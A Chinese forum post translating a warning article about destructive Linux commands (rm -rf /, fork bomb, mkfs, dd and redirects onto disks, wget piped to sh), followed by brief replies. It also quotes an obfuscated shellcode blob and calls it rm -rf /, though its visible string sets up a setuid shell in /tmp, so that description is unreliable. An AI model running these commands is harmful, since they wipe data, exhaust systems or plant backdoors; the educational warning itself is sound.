有爱,有技术,有你^_^)y
╱人◕‿‿◕人╲订下契约(注册新用户)

合作站点账号登陆

QQ登录

只需一步,快速开始

快捷导航
查看: 3988|回复: 34
收起左侧

[操作系统] 8个你绝对不能在linux上运行的死亡指令

[复制链接]

该用户从未签到

397

主题

61

好友

11万

积分

荣誉会员

地下研究所 所长

积分
115586
发表于 2012-9-29 17:33:43 | 显示全部楼层 |阅读模式

╱人◕‿‿◕人╲定下契约

您需要 登录 才可以下载或查看,没有账号?╱人◕‿‿◕人╲订下契约(注册新用户)

x
本帖最后由 hcl 于 2012-9-29 17:42 编辑

Linux的终端命令是非常强大的,并且当你运行一个不会打断你系统运行的命令的时候Linux将不会请求你的许可。当然在网络上也不乏有人强烈推荐Linux新手去运行一些命令并把它当做玩笑。

学习这些绝对不能运行的命令,将帮助你远离那些爱搞恶作剧的人,并同时加深你对Linux系统工作的原理。这不是一个详尽的说明,并且这些命令可能以不同的方式去组合。

下面列出的这些命令将只会在Ubuntu上以sudo运行时才会造成危险——否则他们将不会工作。在其他的Linux发行版上,大多数都需要以root权限运行。


                               
登录/注册后可看大图

感谢骷髅图标的提供者——来自Twitter的Jason Ford

rm -rf / – 删掉所有东西!
rm -rf /命令将会删掉一切可以删除的东西,包括你的硬盘以及可移动磁盘。这个命令如果拆开来看会更加便于理解:

rm ——删除下列文件。
-rf
——以循环的方式执行rm(删除指定目录内部的所有文件和文件夹),并且强制删除所有文件并且不进行确认。
/
——告诉rm命令从根目录开始执行,而根目录包含了你电脑上的所有文件。



Linux会很开心地执行执行这条命令然后在不告知你的情况下删除所有文件,所以在使用的时候必须十分小心。而且rm命令还有其他危险的用法——比如rm –rf ~ ,删除你的主目录的所有文件,再比如rm -rf .* ,会删除你的所有配置文件。

教训:当心rm –rf。

伪装的 rm -rf /

这里是网络上广为流传的一段代码:
[mw_shl_code=bash,true]
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
[/mw_shl_code]

这是rm -rf /的十六进制形式,执行这个命令也会像rm –rf / 一样抹掉你的所有文件。

教训:不要运行一些奇怪的东东,尤其是具有迷惑性的你看不懂的伪装代码。

:(){ :|: & };: ——叉路炸弹
下面这行命令可能看起来很简单,但却是一个危险的bash函数:
:(){ :|: & };:
这简短的一行命令定义了一个能创建自己的一个新副本的shell函数,进程会持续复制自己产生新的副本,它的副本同样也在复制自己产生新的副本,很快就会占用完你的CPU时间以及内存,这就会导致你的电脑慢如蜗牛。从本质上说是一种阻断式服务攻击。

教训:bash命令灰常强大,甚至是很短的一段。

                               
登录/注册后可看大图

感谢图片来源:Dake on Wikimedia Commons

mkfs.ext4 /dev/sda1 ——格式化一个硬盘分区
mkfs.ext4 /dev/sda1命令很好理解:
mkfs.ext4 ——在下面指定的地方创建一个新的ext4文件系统。
/dev/sda1 ——指定第一块硬盘的第一个分区,甚至可能是正在使用的。


合起来看,这个命令就好比是在Windows上运行format C: 一样——它将会抹掉你第一块硬盘的第一分区并且用一个新的文件系统替代。
这条命令也会有其他的形式,比如——mkfs.ext3 /dev/sdb2 就会以ext3文件系统格式化第二块硬盘的第二分区。

教训:小心运行那些在硬盘分区指向中存在 /dev/sd (译者注:当然你的硬盘分区如果挂载到其他地点也要小心!)的命令。

command > /dev/sda ——直接对硬盘进行写操作

command > /dev/sda 命令工作起来类似——它将会运行一条命令然后将命令输出结果直接写入你的第一块硬盘,将数据直接写入硬盘的后果就是破坏文件系统。

command —— 运行一条命令(可以是任何命令)。
> ——将命令运行结果传递到以下位置。
/dev/sda
——将输出结果直接写入硬盘驱动器。


教训:就像上面说到的那样,当心运行一条以/dev/sd开头的硬盘驱动器的命令。

dd if=/dev/random of=/dev/sda —— 向硬盘上写入垃圾
dd if=/dev/random of=/dev/sda这条命令同样会覆盖你硬盘上的数据。

dd –
从一个地方到另一个地方的低级文件复制指令。(译者引:把指定的输入文件拷贝到指定的输出文件中,并且在拷贝过程中可以进行格式转换。可以用该命令实现DOS下的diskcopy命令的作用。)

if=/dev/random
——使用 /dev/random (随机数据)输入——你可能也会看到类似于/dev/zero (zeros) 的地址。

of=/dev/sda
向硬盘的第一分区输出,以垃圾数据代替文件系统。


教训:dd命令可以从一个地方向另一个地方拷贝数据,在你直接向设备写入的时候会变得很危险。


                               
登录/注册后可看大图

感谢图片提供者: Matt Rudge on Flickr

mv ~ /dev/null —— 将你的主文件夹移到无底深渊

/dev/null 是另一个特殊的地址——将文件移动到/dev/null就相当于销毁它。把/dev/null想做一个无底洞。根本来说mv ~ /dev/null 会把你的所有个人文件全部送到无底洞。

mv —— 把指定的文件夹从一处移到另一处。

~ —— 代表你的整个home文件夹。

/dev/null – 将你的文件移到
/dev/null , 毁掉你的文件以及原始数据。


教训:~ 符号代表你的home文件夹,移动到/dev/null就相当于毁掉它。

wget http://example.com/something -O – | sh ——下载并运行一个脚本

上面的命令会从网上下载一个脚本并发给可以执行脚本内容的sh。这在你不能确定这个脚本的来源是否可靠的情况下变得十分危险——千万不要运行非信任的脚本。

wget ——下载一个文件 (你也可能见到以curl代替wget的命令)。

http://example.com/something —— 从这个位置下载文件。

|
——将wget命令的结果(也就是你下载的文件)直接发送到另一个命令。

sh ——将文件发送到sh命令,当文件是脚本时执行。


教训:千万别从网上下载运行不可信任的脚本,甚至是一条命令。

也许你知道更多那些年把我们坑惨的linux命令?回个帖分享一下吧!

由hcl转载翻译自How-To-Geek(原文链接:http://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/ 原作者:Chris Hoffman Twitter

由于水平限制,翻译中可能不是很周到,敬请谅解!

本文采用知识共享署名-非商业性使用-相同方式共享 3.0 Unported许可协议进行许可。

转载请注明“ hcl@Techotaku 原创翻译”!
转自http://techotaku.tk/227.html

评分

参与人数 1宅币 +30 贡献 +4 收起 理由
轻舟过 + 30 + 4 o(* ̄▽ ̄*)ブ 发糖

查看全部评分

回复

使用道具 举报

该用户从未签到

12

主题

120

好友

1万

积分

第一章

积分
10872
发表于 2012-9-29 17:43:34 | 显示全部楼层
支持原创翻译~~~
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

签到天数: 2 天

连续签到: 1 天

[LV.1]初来乍到

1

主题

21

好友

1万

积分

第一章

积分
13557
发表于 2012-9-29 23:01:15 | 显示全部楼层
路过~~
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

4

主题

21

好友

4857

积分

序章

积分
4857
发表于 2012-9-30 10:50:44 | 显示全部楼层
学习了。。。幸好我不经常在linux下运行不明脚本。。。
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

2

主题

13

好友

657

积分

New Game

积分
657
发表于 2012-9-30 14:56:41 | 显示全部楼层
linux确实挺好玩的,但是要学习好多命令才能玩!!!
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

258

主题

314

好友

3万

积分

第二章

积分
35715
发表于 2012-10-1 16:23:16 | 显示全部楼层
不运行来历不明的命令,事先去查一下手册很有必要的
话说LZ发的都是how-to-geek的文章啊
还有那个techotaku是自己建的?
博客什么的求人气 http://bimania.org
回复 支持 反对

使用道具 举报

该用户从未签到

397

主题

61

好友

11万

积分

荣誉会员

地下研究所 所长

积分
115586
 楼主| 发表于 2012-10-1 17:17:40 | 显示全部楼层
轻舟过 发表于 2012-10-1 16:23
不运行来历不明的命令,事先去查一下手册很有必要的
话说LZ发的都是how-to-geek的文章啊
还有那个techotaku ...

主要是那边的文章比较好翻译,而且也比较实用。

techotaku确实是自己建的
回复 支持 反对

使用道具 举报

该用户从未签到

8

主题

27

好友

4248

积分

序章

积分
4248
发表于 2012-10-1 17:30:52 | 显示全部楼层
路过顶一个。
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

1

主题

2

好友

359

积分

New Game

积分
359
发表于 2012-10-1 20:00:44 | 显示全部楼层
学习了、、
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

258

主题

314

好友

3万

积分

第二章

积分
35715
发表于 2012-10-1 22:46:14 | 显示全部楼层
hcl 发表于 2012-10-1 17:17
主要是那边的文章比较好翻译,而且也比较实用。

techotaku确实是自己建的 ...

恩,比较有用啊
博客什么的求人气 http://bimania.org
回复 支持 反对

使用道具 举报

该用户从未签到

14

主题

28

好友

2万

积分

第一章

积分
24392
发表于 2012-10-2 16:21:34 | 显示全部楼层
这些不都是很常见的基本命令么……只是后面的参数要小心点……
看到前面的命令以后应该马上就能想到这样的命令绝对不能跟什么样的参数混合到一起吧
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

177

主题

406

好友

4万

积分

绅(hen)士(tai)

滚圆的面团一枚

积分
43289
发表于 2012-10-3 19:42:54 | 显示全部楼层
看到ubuntu的界面我就泪流满面了
技术宅東方区欢迎来戳→博丽大结界
回复 支持 反对

使用道具 举报

该用户从未签到

18

主题

28

好友

2万

积分

第一章

积分
20675
发表于 2012-10-5 15:59:31 | 显示全部楼层
为啥这么萌的样子
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

8

主题

123

好友

2万

积分

第一章

积分
24934
发表于 2012-10-5 16:10:49 | 显示全部楼层
长见识了~~~看到标题就想到rm -rf /  【果然第一个就素了捏~~
溫柔的最決絕  墜落的曾搖曳
回复 支持 反对

使用道具 举报

该用户从未签到

12

主题

12

好友

2720

积分

Continue

积分
2720
发表于 2012-10-5 20:28:48 | 显示全部楼层
这个收藏了!!
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

本版积分规则

小黑屋|手机版|技术宅(基宅) ( 粤ICP备18082987号-1 | 浙公网安备 33010902001746号 )

GMT+8, 2024-4-30 23:24 , Processed in 0.228028 second(s), 39 queries , Redis On.

Copyright © 2018 技术宅社区

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表